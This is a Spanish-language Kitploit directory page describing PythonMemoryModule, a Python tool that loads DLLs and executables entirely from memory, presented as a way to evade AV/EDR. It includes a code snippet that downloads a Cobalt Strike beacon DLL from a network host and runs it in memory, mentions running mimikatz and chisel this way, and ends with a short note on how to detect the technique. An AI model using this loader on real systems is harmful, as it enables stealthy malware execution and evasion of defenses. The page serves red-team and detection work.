Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
PythonMemoryModule — implementación pura en Python de la técnica MemoryModule para cargar dll y exe no administrado completamente desde la memoria. | Kitploit
Herramientas/GitHubGitHub/naksyn/pythonmemorymodule
Frameworks de ExploitsPruebas de PenetraciónRed Teaming
GitHubnaksyn/pythonmemorymodule

PythonMemoryModule

implementación pura en Python de la técnica MemoryModule para cargar dll y exe no administrado completamente desde la memoria.

Ver Repositorio
340525hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Supported Python versions Twitter

PythonMemoryModule

Implementación en Python puro de la técnica MemoryModule para cargar una DLL o un ejecutable no administrado completamente desde la memoria

immagine
Imagen de "Python memory module" generada por IA - hotpot.ai


¿Qué es?

PythonMemoryModule es un port a ctypes de Python de la técnica MemoryModule publicada originalmente por Joachim Bauch. Puede cargar una DLL o un ejecutable no administrado usando Python sin necesidad de una librería externa (pyd) y tiene soporte (parcial) para el paso de parámetros de línea de comandos.

Utiliza pefile para analizar los encabezados PE, PythonForWindows para acceder a los parámetros del proceso y ctypes para el trabajo pesado. Originalmente se pensó para usarse como módulo de Pyramid para proporcionar evasión contra AV/EDR cargando payloads DLL/EXE en python.exe completamente desde la memoria, sin embargo, otros casos de uso son posibles (protección de PI, carga de pyds en memoria, derivaciones para otras técnicas más sigilosas), así que decidí crear un repositorio dedicado.

Por qué puede ser útil

  1. Básicamente permite usar la técnica MemoryModule completamente en lenguaje interpretado Python, permitiendo la carga de una DLL desde un búfer de memoria utilizando el binario firmado de stock python.exe sin necesidad de guardar en disco código/librerías externas (como los bindings de pymemorymodule) que puedan ser marcados por AV/EDR o generar sospechas en el usuario.
  2. Usar la técnica MemoryModule en cargadores escritos en lenguajes compilados requeriría incrustar el código de MemoryModule dentro de los propios cargadores. Esto se puede evitar usando el lenguaje interpretado Python y PythonMemoryModule, ya que el código se puede ejecutar dinámicamente y en memoria.
  3. Se puede obtener cierto nivel de protección de la Propiedad Intelectual descargando, descifrando y cargando dinámicamente en memoria DLLs que deben permanecer ocultas. Tenga en cuenta que las DLLs aún se pueden recuperar de la memoria e ingeniarlas inversamente, pero al menos requeriría un mayor esfuerzo por parte del atacante.
  4. Se puede cargar una DLL de payload sin etapa sin realizar inyección o ejecución de shellcode. El proceso de carga imita la API LoadLibrary de Windows (que toma una ruta en disco como entrada) sin llamarla realmente, operando en memoria.

Cómo usarlo

Ejemplo n.º 1

En el siguiente ejemplo, una DLL de beacon sin etapa de Cobalt Strike se descarga (no se guarda en disco), se carga en memoria y se inicia llamando al punto de entrada.

root@kitploit:~
import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()

Nota: si usas staging en tu perfil malleable, la DLL no podría cargarse con LoadLibrary, por lo tanto MemoryModule no funcionará.

Ejemplo n.º 2

En el siguiente ejemplo usamos la funcionalidad de paso de parámetros de línea de comandos para ejecutar chisel en memoria.

https://github.com/naksyn/PythonMemoryModule/assets/59816245/cdc91760-1897-450f-9770-1cd2377913c7

Paso de parámetros de línea de comandos - Soporte parcial

Esta técnica se ha implementado sobrescribiendo el parámetro CommandLine en el PEB en tiempo de ejecución. No funcionará con todos los ejecutables, ya que depende de qué funciones se usen para pasar argumentos.

En general, para obtener una técnica universalmente funcional sería necesario hookear GetCommandlineA, GetCommandlineW, __getmainargs y __wgetmainargs, ya que la sobrescritura del PEB no cubre todos los casos. Más detalles aquí

Durante mis pruebas encontré que mimikatz y varios binarios Go funcionan solo con la sobrescritura del PEB; por otro lado, el paso de línea de comandos únicamente mediante esta técnica en binarios compilados con mingw y VS probablemente no funcionará.

Cómo detectarlo

Usar la técnica MemoryModule respetará en su mayoría los permisos de las secciones de la DLL objetivo y evitará el ruidoso enfoque RWX. Sin embargo, dentro de la memoria del programa habrá una asignación privada no respaldada por una DLL en disco, y esto es una señal reveladora de MemoryModule.

Descargar herramienta